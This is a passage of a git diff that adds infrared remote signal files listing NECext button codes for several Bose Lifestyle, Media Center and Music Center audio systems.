00 +# +name: AUX +type: parsed +protocol: NECext +address: BA BE 00 00 +command: 0F 00 00 00 +# +name: CBL/SAT +type: parsed +protocol: NECext +address: BA BE 00 00 +command: 15 00 00 00 +# +name: TCPC_DOWN +type: parsed +protocol: NECext +address: BA BE 00 00 +command: 18 00 00 00 +# +name: TRACK/CH./PRE._DOWN +type: parsed +protocol: NECext +address: BA BE 00 00 +command: 18 00 00 00 +# +name: TCPC_UP +type: parsed +protocol: NECext +address: BA BE 00 00 +command: 19 00 00 00 +# +name: TRACK/CH./PRE._UP +type: parsed +protocol: NECext +address: BA BE 00 00 +command: 19 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: BA BE 00 00 +command: 1A 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: BA BE 00 00 +command: 20 00 00 00 +# +name: FM_ASSERT +type: parsed +protocol: NECext +address: BA BE 00 00 +command: 25 00 00 00 +# +name: AM_ASSERT +type: parsed +protocol: NECext +address: BA BE 00 00 +command: 28 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: BA BE 00 00 +command: 30 00 00 00 +# +name: PAUSE_ASSERT +type: parsed +protocol: NECext +address: BA BE 00 00 +command: 36 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: BA BE 00 00 +command: 40 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: BA BE 00 00 +command: 41 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: BA BE 00 00 +command: 42 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: BA BE 00 00 +command: 43 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: BA BE 00 00 +command: 44 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: BA BE 00 00 +command: 45 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: BA BE 00 00 +command: 46 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: BA BE 00 00 +command: 47 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: BA BE 00 00 +command: 48 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: BA BE 00 00 +command: 49 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: BA BE 00 00 +command: 4C 00 00 00 +# +name: POWER_TOGGLE +type: parsed +protocol: NECext +address: BA BE 00 00 +command: 4C 00 00 00 +# +name: POWER_ON/OFF +type: parsed +protocol: NECext +address: BA BE 00 00 +command: 4C 00 00 00 +# +name: MUTE_ALL_TOGGLE +type: parsed +protocol: NECext +address: BA BE 00 00 +command: 4D 00 00 00 +# +name: MUTE_TOGGLE +type: parsed +protocol: NECext +address: BA BE 00 00 +command: 4D 00 00 00 +# +name: CD/DVD +type: parsed +protocol: NECext +address: BA BE 00 00 +command: 53 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: BA BE 00 00 +command: 55 00 00 00 +# +name: PAUSE_TOGGLE +type: parsed +protocol: NECext +address: BA BE 00 00 +command: 56 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: BA BE 00 00 +command: 57 00 00 00 +# +name: SEEK/SCAN_<< +type: parsed +protocol: NECext +address: BA BE 00 00 +command: 57 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: BA BE 00 00 +command: 58 00 00 00 +# +name: SEEK/SCAN_>> +type: parsed +protocol: NECext +address: BA BE 00 00 +command: 58 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: BA BE 00 00 +command: 59 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: BA BE 00 00 +command: 5C 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: BA BE 00 00 +command: 60 00 00 00 +# +name: CD_# +type: parsed +protocol: NECext +address: BA BE 00 00 +command: 63 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: BA BE 00 00 +command: 64 00 00 00 +# +name: ENCORE +type: parsed +protocol: NECext +address: BA BE 00 00 +command: 65 00 00 00 +# +name: SIMILAR_(ENCORE) +type: parsed +protocol: NECext +address: BA BE 00 00 +command: 65 00 00 00 +# +name: UMUSIC +type: parsed +protocol: NECext +address: BA BE 00 00 +command: 66 00 00 00 +# +name: WHOLE_CD +type: parsed +protocol: NECext +address: BA BE 00 00 +command: 67 00 00 00 +# +name: RATING_- +type: parsed +protocol: NECext +address: BA BE 00 00 +command: 68 00 00 00 +# +name: RATING_+ +type: parsed +protocol: NECext +address: BA BE 00 00 +command: 69 00 00 00 +# +name: SYSTEM +type: parsed +protocol: NECext +address: BA BE 00 00 +command: 70 00 00 00 +# +name: SETTINGS +type: parsed +protocol: NECext +address: BA BE 00 00 +command: 80 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: BA BE 00 00 +command: 8C 00 00 00 +# +name: POWER_ON_ASSERT +type: parsed +protocol: NECext +address: BA BE 00 00 +command: 8C 00 00 00 +# +name: DVD_MENU +type: parsed +protocol: NECext +address: BA BE 00 00 +command: 90 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: BA BE 00 00 +command: 9D 00 00 00 +# +name: PLAYLIST +type: parsed +protocol: NECext +address: BA BE 00 00 +command: 9F 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: BA BE 00 00 +command: A0 00 00 00 +# +name: LIBRARY +type: parsed +protocol: NECext +address: BA BE 00 00 +command: B0 00 00 00 +# +name: STORED +type: parsed +protocol: NECext +address: BA BE 00 00 +command: B3 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: BA BE 00 00 +command: C0 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: BA BE 00 00 +command: CC 00 00 00 +# +name: POWER_OFF_ASSERT +type: parsed +protocol: NECext +address: BA BE 00 00 +command: CC 00 00 00 +# +name: MUTE_ALL_ASSERT +type: parsed +protocol: NECext +address: BA BE 00 00 +command: CD 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: BA BE 00 00 +command: D0 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: BA BE 00 00 +command: E0 00 00 00 +# +name: LOCAL_SOURCE +type: parsed +protocol: NECext +address: BA BE 00 00 +command: F4 00 00 00 +# +name: MUTE_ASSERT +type: parsed +protocol: NECext +address: BA BE 00 00 +command: FE 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,191.ir b/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,191.ir new file mode 100644 index 000000000..92667f986 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,191.ir @@ -0,0 +1,350 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE_TOGGLE +type: parsed +protocol: NECext +address: BA BF 00 00 +command: 01 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: BA BF 00 00 +command: 02 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: BA BF 00 00 +command: 03 00 00 00 +# +name: FM/AM_TOGGLE +type: parsed +protocol: NECext +address: BA BF 00 00 +command: 06 00 00 00 +# +name: VCR +type: parsed +protocol: NECext +address: BA BF 00 00 +command: 0D 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: BA BF 00 00 +command: 0E 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: BA BF 00 00 +command: 0F 00 00 00 +# +name: CBL/SAT +type: parsed +protocol: NECext +address: BA BF 00 00 +command: 15 00 00 00 +# +name: TRACK/CH./PRE._DOWN +type: parsed +protocol: NECext +address: BA BF 00 00 +command: 18 00 00 00 +# +name: TRACK/CH./PRE._UP +type: parsed +protocol: NECext +address: BA BF 00 00 +command: 19 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: BA BF 00 00 +command: 1A 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: BA BF 00 00 +command: 20 00 00 00 +# +name: FM_ASSERT +type: parsed +protocol: NECext +address: BA BF 00 00 +command: 25 00 00 00 +# +name: AM_ASSERT +type: parsed +protocol: NECext +address: BA BF 00 00 +command: 28 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: BA BF 00 00 +command: 30 00 00 00 +# +name: PAUSE_ASSERT +type: parsed +protocol: NECext +address: BA BF 00 00 +command: 36 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: BA BF 00 00 +command: 40 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: BA BF 00 00 +command: 41 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: BA BF 00 00 +command: 42 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: BA BF 00 00 +command: 43 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: BA BF 00 00 +command: 44 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: BA BF 00 00 +command: 45 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: BA BF 00 00 +command: 45 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: BA BF 00 00 +command: 47 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: BA BF 00 00 +command: 48 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: BA BF 00 00 +command: 49 00 00 00 +# +name: POWER_ON/OFF +type: parsed +protocol: NECext +address: BA BF 00 00 +command: 4C 00 00 00 +# +name: MUTE_ALL_TOGGLE +type: parsed +protocol: NECext +address: BA BF 00 00 +command: 4D 00 00 00 +# +name: CD/DVD +type: parsed +protocol: NECext +address: BA BF 00 00 +command: 53 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: BA BF 00 00 +command: 55 00 00 00 +# +name: PAUSE_TOGGLE +type: parsed +protocol: NECext +address: BA BF 00 00 +command: 56 00 00 00 +# +name: SEEK/SCAN_<< +type: parsed +protocol: NECext +address: BA BF 00 00 +command: 57 00 00 00 +# +name: SEEK/SCAN_>> +type: parsed +protocol: NECext +address: BA BF 00 00 +command: 58 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: BA BF 00 00 +command: 5C 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: BA BF 00 00 +command: 60 00 00 00 +# +name: CD_# +type: parsed +protocol: NECext +address: BA BF 00 00 +command: 63 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: BA BF 00 00 +command: 64 00 00 00 +# +name: SIMILAR_(ENCORE) +type: parsed +protocol: NECext +address: BA BF 00 00 +command: 65 00 00 00 +# +name: UMUSIC +type: parsed +protocol: NECext +address: BA BF 00 00 +command: 66 00 00 00 +# +name: WHOLE_CD +type: parsed +protocol: NECext +address: BA BF 00 00 +command: 67 00 00 00 +# +name: RATING_- +type: parsed +protocol: NECext +address: BA BF 00 00 +command: 68 00 00 00 +# +name: RATING_+ +type: parsed +protocol: NECext +address: BA BF 00 00 +command: 69 00 00 00 +# +name: SYSTEM +type: parsed +protocol: NECext +address: BA BF 00 00 +command: 70 00 00 00 +# +name: SETTINGS +type: parsed +protocol: NECext +address: BA BF 00 00 +command: 80 00 00 00 +# +name: POWER_ON_ASSERT +type: parsed +protocol: NECext +address: BA BF 00 00 +command: 8C 00 00 00 +# +name: DVD_MENU +type: parsed +protocol: NECext +address: BA BF 00 00 +command: 90 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: BA BF 00 00 +command: 9D 00 00 00 +# +name: PLAYLIST +type: parsed +protocol: NECext +address: BA BF 00 00 +command: 9F 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: BA BF 00 00 +command: A0 00 00 00 +# +name: LIBRARY +type: parsed +protocol: NECext +address: BA BF 00 00 +command: B0 00 00 00 +# +name: STORED +type: parsed +protocol: NECext +address: BA BF 00 00 +command: B3 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: BA BF 00 00 +command: C0 00 00 00 +# +name: POWER_OFF_ASSERT +type: parsed +protocol: NECext +address: BA BF 00 00 +command: CC 00 00 00 +# +name: MUTE_ALL_ASSERT +type: parsed +protocol: NECext +address: BA BF 00 00 +command: CD 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: BA BF 00 00 +command: D0 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: BA BF 00 00 +command: E0 00 00 00 +# +name: LOCAL_SOURCE +type: parsed +protocol: NECext +address: BA BF 00 00 +command: F4 00 00 00 +# +name: MUTE_ASSERT +type: parsed +protocol: NECext +address: BA BF 00 00 +command: FE 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,85.ir b/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,85.ir new file mode 100644 index 000000000..79830decc --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,85.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 01 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 02 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 03 00 00 00 +# +name: AM/FM +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 06 00 00 00 +# +name: SURROUND_- +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 0A 00 00 00 +# +name: SURROUND_+ +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 0B 00 00 00 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 0D 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 0E 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 0F 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 18 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 19 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 1A 00 00 00 +# +name: SPEAKER_STEREO +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 4B 00 00 00 +# +name: ON/OFF +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 4C 00 00 00 +# +name: MUTE_ALL +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 4D 00 00 00 +# +name: SPEAKER_SURROUND +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 4E 00 00 00 +# +name: SPEAKER_STEREO/CNTR +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 4F 00 00 00 +# +name: TAPE +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 52 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 53 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 55 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 56 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 5C 00 00 00 +# +name: NEXT_DISC +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 5D 00 00 00 +# +name: MUTE_ALL +type: parsed +protocol: NECext +address: BA 55 00 00 +command: DF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Media Center/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Bose/Media Center/1,-1.ir new file mode 100644 index 000000000..6e51abd28 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bose/Media Center/1,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: TV_INPUT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Media Center/186,136.ir b/assets/resources/infrared/_CSV-IRDB_/Bose/Media Center/186,136.ir new file mode 100644 index 000000000..5a57b6bf8 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bose/Media Center/186,136.ir @@ -0,0 +1,284 @@ +Filetype: IR signals file +Version: 1 +# +name: 2-3-5 +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 00 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 01 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 02 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 03 00 00 00 +# +name: FM/AM +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 06 00 00 00 +# +name: SURROUND_- +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 0A 00 00 00 +# +name: SURROUND_+ +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 0B 00 00 00 +# +name: VCR +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 0D 00 00 00 +# +name: PREVIOUS +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 0E 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 0E 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 0F 00 00 00 +# +name: CHANNEL_DOWN +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 18 00 00 00 +# +name: TUNE_DOWN +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 18 00 00 00 +# +name: CHANNEL_UP +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 19 00 00 00 +# +name: TUNE_UP +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 19 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 1A 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 20 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 30 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 40 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 41 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 42 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 43 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 44 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 45 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 46 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 47 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 48 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 49 00 00 00 +# +name: ON/OFF +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 4C 00 00 00 +# +name: MUTE_ALL +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 4D 00 00 00 +# +name: TAPE +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 52 00 00 00 +# +name: CD/DVD +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 53 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 55 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 56 00 00 00 +# +name: << +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 57 00 00 00 +# +name: SEEK_LEFT +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 57 00 00 00 +# +name: >> +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 58 00 00 00 +# +name: SEEK_RIGHT +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 58 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 5C 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 60 00 00 00 +# +name: SETTINGS +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 80 00 00 00 +# +name: DVD_MENU +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 90 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 9D 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: BA 88 00 00 +command: A0 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: BA 88 00 00 +command: C0 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: BA 88 00 00 +command: D0 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: BA 88 00 00 +command: E0 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Music Center/186,133.ir b/assets/resources/infrared/_CSV-IRDB_/Bose/Music Center/186,133.ir new file mode 100644 index 000000000..3e50490c2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bose/Music Center/186,133.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE +type: parsed +protocol: NECext +address: BA 85 00 00 +command: 01 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: BA 85 00 00 +command: 02 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: BA 85 00 00 +command: 03 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: BA 85 00 00 +command: 0C 00 00 00 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: BA 85 00 00 +command: 0D 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: BA 85 00 00 +command: 0E 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: BA 85 00 00 +command: 0F 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: BA 85 00 00 +command: 10 00 00 00 +# +name: << +type: parsed +protocol: NECext +address: BA 85 00 00 +command: 18 00 00 00 +# +name: >> +type: parsed +protocol: NECext +address: BA 85 00 00 +command: 19 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: BA 85 00 00 +command: 1A 00 00 00 +# +name: PRESET_+ +type: parsed +protocol: NECext +address: BA 85 00 00 +command: 1D 00 00 00 +# +name: PRESET_- +type: parsed +protocol: NECext +address: BA 85 00 00 +command: 1F 00 00 00 +# +name: RANDOM_DISC +type: parsed +protocol: NECext +address: BA 85 00 00 +command: 4A 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: BA 85 00 00 +command: 4C 00 00 00 +# +name: TAPE +type: parsed +protocol: NECext +address: BA 85 00 00 +command: 52 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: BA 85 00 00 +command: 53 00 00 00 +# +name: DISC_- +type: parsed +protocol: NECext +address: BA 85 00 00 +command: 54 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: BA 85 00 00 +command: 55 00 00 00 +# +name: << +type: parsed +protocol: NECext +address: BA 85 00 00 +command: 57 00 00 00 +# +name: >> +type: parsed +protocol: NECext +address: BA 85 00 00 +command: 58 00 00 00 +# +name: RANDOM_ALL +type: parsed +protocol: NECext +address: BA 85 00 00 +command: 5C 00 00 00 +# +name: DISC_+ +type: parsed +protocol: NECext +address: BA 85 00 00 +command: 5D 00 00 00 +# +name: MUTE_ALL +type: parsed +protocol: NECext +address: BA 85 00 00 +command: DF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Music Center/186,213.ir b/assets/resources/infrared/_CSV-IRDB_/Bose/Music Center/186,213.ir new file mode 100644 index 000000000..9fa6701da --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bose/Music Center/186,213.ir @@ -0,0 +1,230 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE +type: parsed +protocol: NECext +address: BA D5 00 00 +command: 01 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: BA D5 00 00 +command: 02 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: BA D5 00 00 +command: 03 00 00 00 +# +name: AM/FM +type: parsed +protocol: NECext +address: BA D5 00 00 +command: 06 00 00 00 +# +name: SURROUND_- +type: parsed +protocol: NECext +address: BA D5 00 00 +command: 0A 00 00 00 +# +name: SURROUND_+ +type: parsed +protocol: NECext +address: BA D5 00 00 +command: 0B 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: BA D5 00 00 +command: 0C 00 00 00 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: BA D5 00 00 +command: 0D 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: BA D5 00 00 +command: 0E 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: BA D5 00 00 +command: 0F 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: BA D5 00 00 +command: 10 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: BA D5 00 00 +command: 18 00 00 00 +# +name: << +type: parsed +protocol: NECext +address: BA D5 00 00 +command: 18 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: BA D5 00 00 +command: 19 00 00 00 +# +name: >> +type: parsed +protocol: NECext +address: BA D5 00 00 +command: 19 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: BA D5 00 00 +command: 1A 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: BA D5 00 00 +command: 1B 00 00 00 +# +name: PRESET_+ +type: parsed +protocol: NECext +address: BA D5 00 00 +command: 1D 00 00 00 +# +name: PRESET_- +type: parsed +protocol: NECext +address: BA D5 00 00 +command: 1F 00 00 00 +# +name: RANDOM_DISC +type: parsed +protocol: NECext +address: BA D5 00 00 +command: 4A 00 00 00 +# +name: STEREO_MODE +type: parsed +protocol: NECext +address: BA D5 00 00 +command: 4B 00 00 00 +# +name: ON/OFF +type: parsed +protocol: NECext +address: BA D5 00 00 +command: 4C 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: BA D5 00 00 +command: 4C 00 00 00 +# +name: 5_SPEAKER_MODE +type: parsed +protocol: NECext +address: BA D5 00 00 +command: 4E 00 00 00 +# +name: 3_SPEAKER_MODE +type: parsed +protocol: NECext +address: BA D5 00 00 +command: 4F 00 00 00 +# +name: TAPE +type: parsed +protocol: NECext +address: BA D5 00 00 +command: 52 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: BA D5 00 00 +command: 53 00 00 00 +# +name: DISC_- +type: parsed +protocol: NECext +address: BA D5 00 00 +command: 54 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: BA D5 00 00 +command: 55 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: BA D5 00 00 +command: 57 00 00 00 +# +name: << +type: parsed +protocol: NECext +address: BA D5 00 00 +command: 57 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: BA D5 00 00 +command: 58 00 00 00 +# +name: >> +type: parsed +protocol: NECext +address: BA D5 00 00 +command: 58 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: BA D5 00 00 +command: 5C 00 00 00 +# +name: RANDOM_ALL +type: parsed +protocol: NECext +address: BA D5 00 00 +command: 5C 00 00 00 +# +name: NEXT_DISC +type: parsed +protocol: NECext +address: BA D5 00 00 +command: 5D 00 00 00 +# +name: DISC_+ +type: parsed +protocol: NECext +address: BA D5 00 00 +command: 5D 00 00 00 +# +name: MUTE_ALL +type: parsed +protocol: NECext +address: BA D5 00 00 +command: DF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Music Center/186,229.ir b/assets/resources/infrared/_CSV-IRDB_/Bose/Music Center/186,229.ir new file mode 100644 index 000000000..a7253f519 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bose/Music Center/186,229.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE +type: parsed +protocol: NECext +address: BA E5 00 00 +command: 01 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: BA E5 00 00 +command: 02 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: BA E5 00 00 +command: 03 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: BA E5 00 00 +command: 0C 00 00 00 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: BA E5 00 00 +command: 0D 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: BA E5 00 00 +command: 0E 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: BA E5 00 00 +command: 0F 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: BA E5 00 00 +command: 10 00 00 00 +# +name: << +type: parsed +protocol: NECext +address: BA E5 00 00 +command: 18 00 00 00 +# +name: >> +type: parsed +protocol: NECext +address: BA E5 00 00 +command: 19 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: BA E5 00 00 +command: 1A 00 00 00 +# +name: PRESET_+ +type: parsed +protocol: NECext +address: BA E5 00 00 +command: 1D 00 00 00 +# +name: PRESET_- +type: parsed +protocol: NECext +address: BA E5 00 00 +command: 1F 00 00 00 +# +name: RANDOM_DISC +type: parsed +protocol: NECext +address: BA E5 00 00 +command: 4A 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: BA E5 00 00 +command: 4C 00 00 00 +# +name: TAPE +type: parsed +protocol: NECext +address: BA E5 00 00 +command: 52 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: BA E5 00 00 +command: 53 00 00 00 +# +name: DISC_- +type: parsed +protocol: NECext +address: BA E5 00 00 +command: 54 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: BA E5 00 00 +command: 55 00 00 00 +# +name: << +type: parsed +protocol: NECext +address: BA E5 00 00 +command: 57 00 00 00 +# +name: >> +type: parsed +protocol: NECext +address: BA E5 00 00 +command: 58 00 00 00 +# +name: RANDOM_ALL +type: parsed +protocol: NECext +address: BA 